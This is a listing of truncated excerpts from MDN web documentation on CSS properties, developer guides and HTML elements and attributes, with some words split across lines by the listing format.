revent scroll anchoring in a document, use the overflow-anchor property. body { overflow-anchor: none; } specifications specification status comment css scroll anchoring module level 1the definition of 'overflow-anchor' in that specification. editor's draft initial definition. ...
overflow-block - CSS: Cascading Style Sheets
isible content is not clipped and may be rendered outside the padding box's block start and block end edges. hidden content is clipped if necessary to fit the block dimension in the padding box. no scrollbars are provided. scroll content is clipped if necessary to fit in the block dimension in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this p
revents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valueautoapplies toblock-containers...
overflow-inline - CSS: Cascading Style Sheets
visible content is not clipped and may be rendered outside the padding box's inline start and end edges. hidden content is clipped if necessary to fit the inline dimension in the padding box. no scrollbars are provided. scroll content is clipped if necessary to fit in the padding box in the inline dimension. browsers display scrollbars whether or not any content is actually clipped. (this p
revents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valueautoapplies toblock-containers...
overflow-x - CSS: Cascading Style Sheets
yword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit horizontally in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this p
revents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valuevisibleapplies toblock-contain...
overflow-y - CSS: Cascading Style Sheets
keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit vertically in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this p
revents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context. desktop browsers provide scrollbars if content overflows. formal definition initial valuevisibleapplies toblock-contain...
overscroll-behavior-block - CSS: Cascading Style Sheets
the default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. "bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g. underlying elements will not scroll. none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented. formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples p
reventing block overscrolling in this demo we have two block-level boxes, one inside the other. the outer box has a large height set on it so the page will scroll...
overscroll-behavior-inline - CSS: Cascading Style Sheets
the default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. "bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g. underlying elements will not scroll. none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented. formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples p
reventing inline overscrolling in this demo we have two block-level boxes, one inside the other. the outer box has a large width set on it so the page will scroll...
page-break-after - CSS: Cascading Style Sheets
comment css logical properties and values level 1the definition of 'recto and verso' in that specification. editor's draft adds the values recto and verso. css paged media module level 3the definition of 'page-break-after' in that specification. working draft extends the element that this property applies to table rows and table row groups. css level 2 (
revision 1)the definition of 'page-break-after' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafarian...
page-break-before - CSS: Cascading Style Sheets
comment css logical properties and values level 1the definition of 'recto and verso' in that specification. editor's draft adds the values recto and verso. css paged media module level 3the definition of 'page-break-before' in that specification. working draft extends the element that this property applies to table rows and table row groups. css level 2 (
revision 1)the definition of 'page-break-before' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafaria...
paint-order - CSS: Cascading Style Sheets
rmine the order of stroke and fill. values normal paint the different items in normal paint order. stroke, fill, markers specify some or all of these values in the order you want them to be painted in. ...
<percentage> - CSS: Cascading Style Sheets
html will output: specifications specification status comment css values and units module level 4the definition of '<percentage>' in that specification. editor's draft no significant change. css values and units module level 3the definition of '<percentage>' in that specification. candidate recommendation no significant change from css level 2 (
revision 1). css level 2 (
revision 1)the definition of '<percentage>' in that specification. recommendation no change from css level 1. css level 1the definition of '<percentage>' in that specification. recommendation initial definition. ...
pointer-events - CSS: Cascading Style Sheets
isibility properties do not affect event processing. description when this property is unspecified, the same characteristics of the visiblepainted value apply to svg content. in addition to indicating that the element is not the target of pointer events, the value none instructs the pointer event to go "through" the element and target whatever is "underneath" that element instead. note that p
reventing an element from being the target of pointer events by using pointer-events does not necessarily mean that pointer event listeners on that element cannot or will not be triggered. if one of the element's children has pointer-events explicitly set to allow that child to be the target of pointer events, then any events targeting that child will pass through the parent as the event travels alon...
position - CSS: Cascading Style Sheets
recommendation css positioned layout module level 3the definition of 'position' in that specification. working draft adds sticky property value. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://githu...
<position> - CSS: Cascading Style Sheets
ecommendation relists links to both definitions: if css backgrounds and borders module level 3 is supported, its definition of <position> must also be used. css backgrounds and borders module level 3the definition of '<bg-position>' in that specification. candidate recommendation defines <position> explicitly and extends it to support offsets from any edge. css level 2 (
revision 1)the definition of '<position>' in that specification. recommendation allows combination of a keyword with a <length> or <percentage> value. css level 1the definition of '<position>' in that specification. recommendation defines <position> anonymously as the value of background-position. ...
quotes - CSS: Cascading Style Sheets
цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification. working draft css level 2 (
revision 1)the definition of 'quotes' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web...
<shape> - CSS: Cascading Style Sheets
, values of the <shape> data type are interpolated over their top, right, bottom, and left components, each treated as a real, floating-point number. the speed of the interpolation is determined by the timing function associated with the animation. example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (
revision 1)the definition of '<shape>' in that specification. recommendation defines with the clip property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafa...
Specified value - CSS: Cascading Style Sheets
/div> <div class="fun"> <p>the specified value of my font family is not given explicitly in the css, so it is inherited from my parent. however, the border is not an inheriting property.</p> </div> css .fun { border: 1px dotted pink; font-family: fantasy; } p { color: green; } result specifications specification status comment css level 2 (
revision 2)the definition of 'cascaded value' in that specification. working draft css level 2 (
revision 1)the definition of 'cascaded value' in that specification. recommendation initial definition. ...
<string> - CSS: Cascading Style Sheets
break in it." /* string spanning two lines of code (these two strings will have identical output) */ "a really long \ awesome string" "a really long awesome string" specifications specification status comment css values and units module level 3the definition of '<string>' in that specification. candidate recommendation no significant change from css level 2 (
revision 1). css level 2 (
revision 1)the definition of '<string>' in that specification. recommendation explicit definition; allows 6-digit unicode escaped characters. css level 1the definition of '<string>' in that specification. recommendation implicit definition; allows 4-digit unicode escaped characters. ...
tab-size - CSS: Cascading Style Sheets
ied integer or an absolute lengthanimation typea length formal syntax <integer> | <length> examples expanding by character count pre { tab-size: 4; /* set tab size to 4 characters wide */ } collapse tabs pre { tab-size: 0; /* remove indentation */ } comparing to the default size this example compares a default tab size with a custom tab size. note that white-space is set to pre to p
revent the tabs from collapsing. html <p>no tab</p> <p>	default tab size of 8 characters wide</p> <p class="custom">	custom tab size of 3 characters wide</p> <p> 3 spaces, equivalent to the custom tab size</p> css p { white-space: pre; } .custom { tab-size: 3; -moz-tab-size: 3; } result specifications specification status comment ...
white-space - CSS: Cascading Style Sheets
lum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> result specifications specification status comment css text module level 3the definition of 'white-space' in that specification. working draft precisely defines the breaking algorithms. css level 2 (
revision 1)the definition of 'white-space' in that specification. recommendation initial definition. ...
widows - CSS: Cascading Style Sheets
css fragmentation module level 3the definition of 'widows' in that specification. candidate recommendation extends widows to apply to any type of fragment, including pages, regions, or columns. css multi-column layout modulethe definition of 'widows' in that specification. working draft recommendations to consider widows in relation to columns. css level 2 (
revision 1)the definition of 'widows' in that specification. recommendation initial definition. ...
width - CSS: Cascading Style Sheets
roduces a lot of great software.</p> specifications specification status comment css box sizing module level 4the definition of 'width' in that specification. editor's draft css box sizing module level 3the definition of 'width' in that specification. working draft added the max-content, min-content, fit-content keywords. css level 2 (
revision 1)the definition of 'width' in that specification. recommendation precises on which element it applies to. css level 1the definition of 'width' in that specification. recommendation initial definition. ...
will-change - CSS: Cascading Style Sheets
dy tries as hard as it can to optimize everything. some of the stronger optimizations that are likely to be tied to will-change end up using a lot of a machine’s resources, and when overused like this can cause the page to slow down or consume a lot of resources. use sparingly. the normal behavior for optimizations that the browser make is to remove the optimizations as soon as it can and
revert back to normal. but adding will-change directly in a stylesheet implies that the targeted elements are always a few moments away from changing and the browser will keep the optimizations for much longer time than it would have otherwise. so it is a good practice to switch will-change on and off using script code before and after the change occurs. don't apply will-change to elements to p...
word-spacing - CSS: Cascading Style Sheets
ximum value, each consisting of either an absolute length, a percentage, or the keyword normalanimation typea length formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css text module level 3the definition of 'word-spacing' in that specification. working draft replaces the p
revious values with a <spacing-limit> value that defines the same thing, plus the <percentage> value. allows up to three values describing the optimum, minimum, and maximum value. css level 2 (
revision 1)the definition of 'word-spacing' in that specification. recommendation no change. css level 1the definition of 'word-spacing' in that specification. recommendation initi...
Demos of open web technologies
ragable and sizable videos 3d graphics webgl web audio fireworks ioquake3 (source code) escher puzzle (source code) kai 'opua (source code) virtual reality the polar sea (source code) sechelt fly-through (source code) css css zen garden css floating logo "mozilla" paperfold css blockout rubik's cube pure css slides planetarium (source code) loader with blend modes text
reveal with clip-path ambient shadow with custom properties luminiscent vial css-based single page application (source code) transformations impress.js (source code) games ioquake3 (source code) kai 'opua (source code) web apis notifications api html5 notifications (source code) web audio api web audio fireworks oscope.js - javascript oscilloscope html5 web audio show...
regexp:replace() - EXSLT
the string with which the matched substrings are to be replaced. the character flags are: g - global replace if this flag is specified, all occurrences of the regular expression within the originalstring are replaced. otherwise only the first occurrence is replaced. i - case insensitive match if this flag is specified, the match is performed in a case insensitive fashion. returns the
revised version of the string. specifications exslt - regexp:replace ...
Community - Developer guides
if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here. ...
Getting Started - Developer guides
now let's try the responsexml property. first off, let's create a valid xml document that we'll request later on. the document (test.xml) contains the following: <?xml version="1.0" ?> <root> i'm a test. </root> in the scrip...
Web Audio playbackRate explained - Developer guides
ie mobile ✖ mobile safari 6+ (ios) ✔ opera mobile ✖ notes most browsers stop playing audio outside playbackrate bounds of 0.5 and 4, leaving the video playing silently. for most applications, it's recommended that you limit the range to between 0.5 and 4. the pitch of the audio track does not change when playbackrate is altered. negative values will not cause the media to play in
reverse. ie9+ switches to the default playback rate when an ended event is fired. firefox generates a ratechange event when the media source is substituted. on ios 7 you can only affect the playbackrate when the media is paused (not while it's playing). see also hyperaudio's playback rate test htmlmediaelement reference ...
Block formatting context - Developer guides
div> css .blue, .red-inner { height: 50px; margin: 10px 0; } .blue { background: blue; } .red-outer { overflow: hidden; background: red; } specifications specification status comment css display module level 3the definition of 'block formatting context' in that specification. candidate recommendation define bfc(abbr) etc. css level 2 (
revision 1)the definition of 'block formatting context' in that specification. recommendation initial definition. see also float, clear css key concepts: css syntax, at-rule, comments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values. definitio...
Creating and triggering events - Developer guides
ing a click (that is programmatically generating a click event) on a checkbox using dom methods. view the example in action. function simulateclick() { const event = new mouseevent('click', { view: window, bubbles: true, cancelable: true }); const cb = document.getelementbyid('checkbox'); const cancelled = !cb.dispatchevent(event); if (cancelled) { // a handler called p
reventdefault. alert("cancelled"); } else { // none of the handlers called p
reventdefault. alert("not cancelled"); } } ...
Mouse gesture events - Developer guides
cial movements that can be made with a mouse or trackpad and can be interpreted to perform specific tasks. note: these gesture events are available to add-ons and other browser chrome code, but are never sent to regular web page content. note: some operating systems, including mac os x and windows 7, provide default actions when gesture events occur. if you handle a gesture event and wish to p
revent the default action from taking place as well, be sure to call the event's p
reventdefault() method. types of gesture events mozswipegesture the mozswipegesture event is sent when the user uses three fingers to "swipe" the trackpad. mozmagnifygesturestart the mozmagnifygesturestart event is sent when the user begins performing a "pinch" gesture, by using two fingers as the corners of a rectangle...
Mutation events - Developer guides
events in dom4. they are expected to be included in firefox 14 and chrome 18. the practical reasons to avoid the mutation events are performance issues and cross-browser support. performance adding dom mutation listeners to a document profoundly degrades the performance of further dom modifications to that document (making them 1.5 - 7 times slower!). moreover, removing the listeners does not
reverse the damage. the performance effect is limited to the documents that have the mutation event listeners. cross-browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support ...
Using device orientation with 3D transforms - Developer guides
tation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotatex(" + e.beta + "deg) " + "rotatey(" + ( -e.gamma ) + "deg)"; }); orientation compensation compensating the orientation of the device can be useful to create parallax effects or augmented reality. ...
Constraint validation - Developer guides
lid form elements to make it easier to identify elements that are either formatted correctly or incorrectly. controlling the text of constraint violation the following items can help with controlling the text of a constraint violation: element.setcustomvalidity(message) method on the following elements: <fieldset>. note: setting a custom validity message on fieldset elements will not p
revent form submission in most browsers. <input> <output> <select> submit buttons (created with either a <button> element with the submit type, or an input element with the submit type. other types of buttons do not participate in constraint validation. <textarea> the validitystate interface describes the object returned by the validity property of the element types listed above.
HTML5 - Developer guides
anvas> elements. webgl webgl brings 3d graphics to the web by introducing an api that closely conforms to opengl es 2.0 that can be used in html5 <canvas> elements. svg an xml-based format of vectorial images that can directly be embedded in the html. performance and integration web workers allows delegation of javascript evaluation to background threads, allowing these activities to p
revent slowing down interactive events. xmlhttprequest level 2 allows fetching asynchronously some parts of the page, allowing it to display dynamic content, varying according to the time and user actions. this is the technology behind ajax. jit-compiling javascript engines the new generation of javascript engines is much more powerful, leading to greater performance. history api allows the man...
Index - Developer guides
ing, mpeg-dash, video, adaptive streaming let's say you want to set up an adaptive streaming media source on a server, to be consumed inside an html5 media element. how would you do that? this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) 13 video player styling basics apps, guide, media, styling, video in the p
revious cross browser video player article we described how to build a cross-browser html5 video player using the media and fullscreen apis. this follow-up article looks at how to style this custom player, including making it responsive. 14 web audio playbackrate explained apps, audio, media, video, playbackrate the playbackrate property of the <audio> and <video> elements allows...
Parsing and serializing XML - Developer guides
as well, but it is not necessarily an independent type. in some browsers it is, while in others it is simply an alias for the document interface. serializing an xml document given a document, you can serialize the document's dom tree back into xml using the xmlserializer.serializetostring() method. use the following approaches to serialize the contents of the xml document you created in the p
revious section. serializing dom trees to strings first, create a dom tree as described in how to create a dom tree. alternatively, use a dom tree obtained from xmlhttprequest. to serialize the dom tree doc into xml text, call xmlserializer.serializetostring(): var oserializer = new xmlserializer(); var sxml = oserializer.serializetostring(doc); serializing html documents if the dom you have is...
The Unicode Bidirectional Text Algorithm - Developer guides
dded text interact with the surrounding content, risking spillover effects left-to-right override (lro) u+202d ‭ <bdo dir="ltr"> overrides the bidi algorithm, displaying the characters in memory order, from left to right right-to-left override (rlo) u+202e ‮ <bdo dir="rtl"> overrides the bidi algorithm and displays the embedded characters in
reverse memory order, from right to left closing unicode bidi algorithm control characters character code point html entity markup equivalent description pop directional formatting (pdf) u+202c ‬ closing whatever opening tag used the dir attribute used for rle or lre </bdo> used for rlo or lro pop directional isolate (p...
User input and controls - Developer guides
the screen orientation api. orientation data can be retrieved through the screen.orientation attribute or through the orientation media feature. when screen.orientation changes, the screen.orientationchange event is fired on the screen object. locking the screen orientation is made possible by invoking the screen.lockorientation method, while the screen.unlockorientation method removes all the p
revious screen locks that have been set. note: more information about the screen orientation api can be found in managing screen orientation. fullscreen you might need to present an element of your application (such as a <video>, for example) in fullscreen mode. you can achieve this by calling element.requestfullscreen() on that element. bear in mind that many browsers still implement this with ...
Writing forward-compatible websites - Developer guides
that the syntax of the final version will be the same as the syntax of any of the prefixed versions. code hygiene avoid missing > passing a validator is one way to ensure this, but even if your website doesn't validate entirely you should make sure all your > characters are present. missing those can lead to unexpected situations due to a following tag name being treated as an attribute on a p
revious tag. this can work for a bit, then break if a specification attaches a meaning to that attribute. here's an example that works in browsers without html5 support but breaks in a browser supporting html5: <form action="http://www.example.com"> <input type="submit" value="submit the form" </form> due to the missing > on the input tag. don't leave experiments that didn't work in your code ...
Developer guides
g the various delivery mechanisms of web-based media and compatibility with popular browsers. audio and video manipulation the beauty of the web is that you can combine technologies to create new forms. having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding
reverb/compression effects to audio, or grayscale/sepia filters to video. this article provides a reference to explain what you need to do. events developer guide events refer to two things: a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page; and the naming, characterization, and use of a large number of incidents of different types. ...
HTML attribute: capture - HTML: Hypertext Markup Language
takes as it's value a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types. value description user the user-facing camera and/or microphone should be used. environment the outward-facing camera and/or microphone should be used note: capture was p
reviously a boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input. examples when set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a new one. <p> <label for="soundfile">wh...
disabled - HTML: Hypertext Markup Language
note: if a <fieldset> is disabled, the descendant form controls are all disabled, with the exception of form controls within the <legend>. when a supporting element has the disabled attribute applied, the :disabled pseudo-class also applies to it. conversely, elements that support the disabled attribute but don't have the attribute set match the :enabled pseudo-class. this boolean attribute p
revents the user from interacting with the button. if this attribute isn't set, the button can still be disabled from a containing element, for example <fieldset>; if there is no containing element with the disabled attribute set, then the button is enabled. firefox will, unlike other browsers, persist the dynamic disabled state of a <button> across page loads. use the autocomplete attribute to cont...
HTML attribute: max - HTML: Hypertext Markup Language
e. if the value of the element is greater than this, the element fails constraint validation. this value must be greater than or equal to the value of the min attribute. if the max attribute is present by is not specified or is invalid, no max value is applied. if the max attribute is valid and a non-empty value is greater than the maximum allowed by the max attribute, constraint validation will p
revent form submission. valid for the numeric input types, including the date, month, week, time, datetime-local, number and range types, and both the <progress> and <meter> elements, the max attribute is a number that specifies the most positive value a form control to be considered valid. if the value exceeds the max value allowed, the validitystate.rangeoverflow will be true, and the the control...
HTML attribute: maxlength - HTML: Hypertext Markup Language
area has no maximum length. any maxlength value must be greater than or equal to the value of minlength, if present and valid. the input will fail constraint validation if the length of the text value of the field is greater than maxlength utf-16 code units long. constraint validation is only applied when the value is changed by the user. constraint validation while the browser will generally p
revent user from entering more text than the maxlength attribute allows, should the length be longer than the maxlength allows, the read-only toolong property of a validitystate object will be true. examples <input type="password" maxlength="4"/> specifications specification status html living standardthe definition of 'maxlength attribute' in that specification. l...
<acronym> - HTML: Hypertext Markup Language
usage note: this element has been removed in html5 and shouldn't be used anymore. instead web developers should use the <abbr> element. attributes this element only has global attributes, which are common to all elements. dom interface this element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. ...
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
h the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes use the <b> for cases like keywords in a summary, product names in a
review, or other spans of text whose typical presentation would be boldfaced (but not including any special importance). do not confuse the <b> element with the <strong>, <em>, or <mark> elements. the <strong> element represents text of certain importance, <em> puts some emphasis on the text and the <mark> element represents text of certain relevance. the <b> element doesn't convey such special sema...
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
ters). the result will be garbled: 1 - embedded-textst place if you know the directionality of embedded-text in advance, you can fix this problem by wrapping embedded-text in a <span> with the dir attribute set to the known directionality. but if you don't know the directionality - for example, because embedded-text is being read from a database or entered by the user - you should use <bdi> to p
revent the directionality of embedded-text from affecting its surroundings. though the same visual effect can be achieved using the css rule unicode-bidi: isolate on a <span> or another text-formatting element, html authors should not use this approach because it is not semantic and browsers are allowed to ignore css styling. embedding the characters in <span dir="auto"> has the same effect as usin...
<button>: The Button element - HTML: Hypertext Markup Language
hould have input focus when the page loads. only one element in a document can have this attribute. autocomplete this attribute on a <button> is nonstandard and firefox-specific. unlike other browsers, firefox persists the dynamic disabled state of a <button> across page loads. setting autocomplete="off" on the button disables this feature; see bug 654072. disabled this boolean attribute p
revents the user from interacting with the button: it cannot be pressed or focused. firefox, unlike other browsers, persists the dynamic disabled state of a <button> across page loads. use the autocomplete attribute to control this feature. form html5 the <form> element to associate the button with (its form owner). the value of this attribute must be the id of a <form> in the same document. (i...
<cite>: The Citation element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. ...
<dd>: The Description Details element - HTML: Hypertext Markup Language
. content categories none. permitted content flow content. tag omission the start tag is required. the end tag may be omitted if the <dd> element is immediately followed by another <dd> element or a <dt> element, or if there is no more content in the parent element. permitted parents <dl> or (in whatwg html) a <div> that is inside a <dl>. p
revious sibling <dt> or another <dd> element. implicit aria role definition permitted aria roles no role permitted dom interface htmlelement attributes this element's attributes include the global attributes. nowrap if the value of this attribute is set to yes, the definition text will not wrap. the default value is no. example for an example, s...
<em>: The Emphasis element - HTML: Hypertext Markup Language
be: "the queen mary sailed last night". here, there is no added emphasis or importance on the word "queen mary". it is merely indicated that the object in question is not a queen named mary, but a ship named queen mary. another example for <i> could be: "the word the is an article". example the <em> element is often used to indicate an implicit or explicit contrast. <p> in html 5, what was p
reviously called <em>block-level</em> content is now called <em>flow</em> content. </p> result specifications specification status comment html living standardthe definition of '<em>' in that specification. living standard html5the definition of '<em>' in that specification. recommendation html 4.01 specificationthe definition of '<...
<form> - HTML: Hypertext Markup Language
l attributes. accept comma-separated content types the server accepts. this attribute was removed in html5 and should not be used. instead, use the accept attribute on <input type=file> elements. accept-charset space-separated character encodings the server accepts. the browser uses them in the order in which they are listed. the default value means the same encoding as the page. (in p
revious versions of html, character encodings could also be delimited by commas.) autocapitalize a nonstandard attribute used by ios safari that controls how textual form elements should be automatically capitalized. autocapitalize attributes on a form elements override it on <form>. possible values: none: no automatic capitalization. sentences (default): capitalize the first letter of each...
<frame> - HTML: Hypertext Markup Language
erred. attributes like all other html elements, this element supports the global attributes. src this attribute specifies the document that will be displayed by the frame. name this attribute is used for labeling frames. without labeling, every link will open in the frame that it’s in – the closest parent frame. see the target attribute for more information. noresize this attribute p
revents resizing of frames by users. scrolling this attribute defines the existence of a scrollbar. if this attribute is not used, the browser adds a scrollbar when necessary. there are two choices: "yes" for forcing a scrollbar even when it is not necessary and "no" for forcing no scrollbar even when it is necessary. marginheight this attribute defines the height of the margin between frames. m...
<hgroup> - HTML: Hypertext Markup Language
ce only theoretical. so the html5 (w3c) specification provides advice on how to mark up subheadings, subtitles, alternative titles and taglines without using <hgroup>. the <hgroup> element allows the primary heading for a document section to be grouped with any secondary headings—such as subheadings or alternative titles—to form a multi-level heading. in other words, the <hgroup> element p
revents any of its secondary <h1>–<h6> children from creating separate sections of their own in the outline—as those <h1>–<h6> elements otherwise normally would if they were not children of any <hgroup>. so in the abstract outline produced by the html outline algorithm defined in the html specification, the <hgroup> as a whole forms a single logical heading, with the entire set of <h1>–<h6> ...
<input type="hidden"> - HTML: Hypertext Markup Language
and that they are using the correct form to submit the transfer request. this would stop a malicious user from creating a fake form, pretending to be a bank, and emailing the form to unsuspecting users to trick them into transferring money to the wrong place. this kind of attack is called a cross site request forgery (csrf); pretty much any reputable server-side framework uses hidden secrets to p
revent such attacks. as stated p
reviously, placing the secret in a hidden input doesn't inherently make it secure. the key's composition and encoding would do that. the value of the hidden input is that it keeps the secret associated with the data and automatically includes it when the form is sent to the server. you need to use well-designed secrets to actually secure your website. validation h...
<input type="image"> - HTML: Hypertext Markup Language
html <form> <p>login to your account</p> <div> <label for="userid">user id</label> <input type="text" id="userid" name="userid"> </div> <div> <label for="pwd">password</label> <input type="password" id="pwd" name="pwd"> </div...
<input type="number"> - HTML: Hypertext Markup Language
s"> <option value="10045678"> <option value="103421"> <option value="11111111"> <option value="12345678"> <option value="12999922"> </datalist> use of the list attribute with number inputs is not supported in all browsers. it works in chrome and opera, for example, but not in firefox. validation we have already mentioned a number of validation features of number inputs, but let's
review them now: <input type="number"> elements automatically invalidate any entry that isn't a number (or empty, unless required is specified). you can use the required attribute to make an empty entry invalid. (in other words, the input must be filled in.) you can use the step attribute to constrain valid values to a certain set of steps (e.g., multiples of 10). you can use the min and max at...
<input type="submit"> - HTML: Hypertext Markup Language
you use the accesskey global attribute. in this example, s is specified as the access key (you'll need to press s plus the particular modifier keys for your browser/os combination. in order to avoid conflicts with the user agent's own keyboard shortcuts, different modifier keys are used for access keys than for other shortcuts on the host computer. see accesskey for further details. here's the p
revious example with the s access key added: <form> <div> <label for="example">let's submit some text</label> <input id="example" type="text" name="text"> </div> <div> <input type="submit" value="send" accesskey="s"> </div> </form> for example, in firefox for mac, pressing control-option-s triggers the send button, while chrome on windows uses alt+s. the problem with the...
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
e presented: <p>you can also create a new document by pressing <kbd><kbd class="key">ctrl</kbd>+<kbd class="key">n</kbd></kbd>.</p> result the result is just what we want! echoed input nesting a <kbd> element inside a <samp> element represents input that has been echoed back to the user by the system. <p>if a syntax error occurs, the tool will output the initial command you typed for your
review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen. for example, you can explain how to choose the "new document" ...
<p>: The Paragraph element - HTML: Hypertext Markup Language
}); var newbuttontext = event.target.dataset.toggletext; var oldtext = event.target.innertext; event.target.innertext = newbuttontext; event.target.dataset.toggletext = oldtext; }); result accessibility concerns breaking up content into paragraphs helps make a page more accessible. screen-readers and other assistive technology provide shortcuts to let their users skip to the next or p
revious paragraph, letting them skim content like how white space lets visual users skip around. using empty <p> elements to add space between paragraphs is problematic for people who navigate with screen-reading technology. screen readers may announce the paragraph's presence, but not any content contained within it — because there is none. this can confuse and frustrate the person using the scre...
<plaintext>: The Plain Text element (Deprecated) - HTML: Hypertext Markup Language
as a <pre> element that still interprets html within. if <plaintext> is the first element on the page (other than any non-displayed elements, like <head>), do not use html at all. instead serve a text file with the text/plain mime-type. instead of <plaintext>, use the <pre> element or, if semantically accurate (such as for inline text), the <code> element. escape any <, > and & characters, to p
revent browsers inadvertently parsing content the element content as html. a monospaced font can be applied to any html element via a css font-family style with the monospace generic value. attributes this element has no other attributes than the global attributes common to all elements. dom interface this element implements the htmlelement interface. implementation note: in gecko 1.9.2 and ...
<script>: The Script element - HTML: Hypertext Markup Language
low error logging for sites which use a separate domain for static media, use this attribute. see cors settings attributes for a more descriptive explanation of its valid arguments. defer this boolean attribute is set to indicate to a browser that the script is meant to be executed after the document has been parsed, but before firing domcontentloaded. scripts with the defer attribute will p
revent the domcontentloaded event from firing until the script has loaded and finished evaluating. this attribute must not be used if the src attribute is absent (i.e. for inline scripts), in this case it would have no effect. the defer attribute has no effect on module scripts — they defer by default. scripts with the defer attribute will execute in the order in which they appear in the ...
<style>: The Style Information element - HTML: Hypertext Markup Language
have equal specificity. <!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> including a media query in this example we build on the p
revious one, including a media attribute on the second <style> element so it is only applied when the viewport is less than 500px in width. <!doctype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue; background-color: ...
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
attribute contains a non-negative integer value that indicates for how many rows the cell extends. its default value is 1; if its value is set to 0, it extends until the end of the table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. values higher than 65534 are clipped down to 65534. deprecated attributes abbr this attribute contains a short abb
reviated description of the cell's content. some user-agents, such as speech readers, may present this description before the content itself. note: do not use this attribute as it is obsolete in the latest standard. alternatively, you can put the abb
reviated description inside the cell and place the long content in the title attribute. align this enumerated attribute specifies how the cell con...
<th> - HTML: Hypertext Markup Language
